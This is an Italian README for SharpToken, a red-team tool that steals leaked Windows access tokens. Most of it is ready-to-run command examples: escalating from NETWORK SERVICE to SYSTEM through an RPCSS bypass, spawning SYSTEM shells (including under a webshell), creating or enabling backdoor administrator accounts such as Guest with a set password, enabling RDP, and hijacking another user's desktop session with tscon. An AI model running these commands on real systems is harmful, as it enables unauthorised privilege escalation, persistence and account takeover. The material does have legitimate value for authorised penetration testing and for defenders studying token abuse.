SharpToken

Durante il movimento laterale in red team, spesso abbiamo bisogno di rubare le autorizzazioni di altri utenti. Sotto la difesa dei moderni EDR, è difficile per noi usare Mimikatz per ottenere le autorizzazioni di altri utenti, e se l'utente target non ha processi attivi, non abbiamo modo di usare "OpenProcessToken" per rubare il token.

SharpToken è uno strumento per sfruttare le perdite di token. Può trovare token trapelati da tutti i processi nel sistema e utilizzarli. Se sei un utente di servizio a bassi privilegi, puoi persino usarlo per passare ai privilegi "NT AUTHORITY\SYSTEM", e puoi passare al desktop dell'utente target per fare di più senza la password dell'utente target.

Utilizzo

SharpToken By BeichenDream
=========================================================

Github : https://github.com/BeichenDream/SharpToken

If you are an NT AUTHORITY\NETWORK SERVICE user then you just need to add the bypass parameter to become an NT AUTHORIT\YSYSTEM
e.g.
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass


Usage:

SharpToken COMMAND arguments



COMMANDS:

        list_token [process pid]        [bypass]

        list_all_token [process pid] [bypass]

        add_user    <username> <password> [group] [domain] [bypass]

        enableUser <username> <NewPassword> [NewGroup] [bypass]

        delete_user <username> [domain] [bypass]

        execute <tokenUser> <commandLine> [Interactive] [bypass]

        enableRDP [bypass]

        tscon <targetSessionId> [sourceSessionId] [bypass]


example:
    SharpToken list_token
    SharpToken list_token bypass
    SharpToken list_token 6543
    SharpToken add_user admin Abcd1234! Administrators
    SharpToken enableUser Guest Abcd1234! Administrators
    SharpToken delete_user admin
    SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"
    SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass
    SharpToken execute "NT AUTHORITY\SYSTEM" cmd true
    SharpToken execute "NT AUTHORITY\SYSTEM" cmd true bypass
    SharpToken tscon 1

Autorizzazioni elevate

Oltre al solito potenziamento dei privilegi tramite furto di token, SharpToken supporta anche l'ottenimento di token con integrità tramite Bypass

Se sei un utente NT AUTHORITY/NETWORK SERVICE e aggiungi il parametro bypass, SharpToken ruberà System da RPCSS, cioè un passaggio incondizionato da NT AUTHORITY\NETWORK SERVICE a NT AUTHORITY\SYSTEM

ListToken

Le informazioni enumerate includono SID, LogonDomain, UserName, Session, LogonType, TokenType, TokenHandle (handle del Token dopo Duplicate), TargetProcessId (processo da cui proviene il Token), TargetProcessToken (handle del Token nel processo sorgente), Groups (gruppo in cui si trova l'utente del Token)

SharpToken list_token

Enumerare i token dal processo specificato

SharpToken list_token 468

Ottenere una shell interattiva

execute "NT AUTHORITY\SYSTEM" cmd true

Ottenere i risultati dell'esecuzione del comando (eseguito sotto webshell)

SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"

Creare un utente amministratore con il token rubato

SharpToken add_user admin Abcd1234! Administrators

Abilitare un utente amministratore con il token rubato

    SharpToken enableUser Guest Abcd1234! Administrators

Eliminare un utente con un token rubato

    SharpToken delete_user admin

Usare il token rubato per passare al desktop del target

Dove 1 è il desktop dell'utente target e 2 è il desktop che vogliamo ricevere

    SharpToken tscon 1 2

LICENZA

GNU General Public License

Riferimenti

https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html

https://github.com/decoder-it/NetworkServiceExploit

https://github.com/FSecureLABS/incognito

https://github.com/chroblert/JCTokenUtil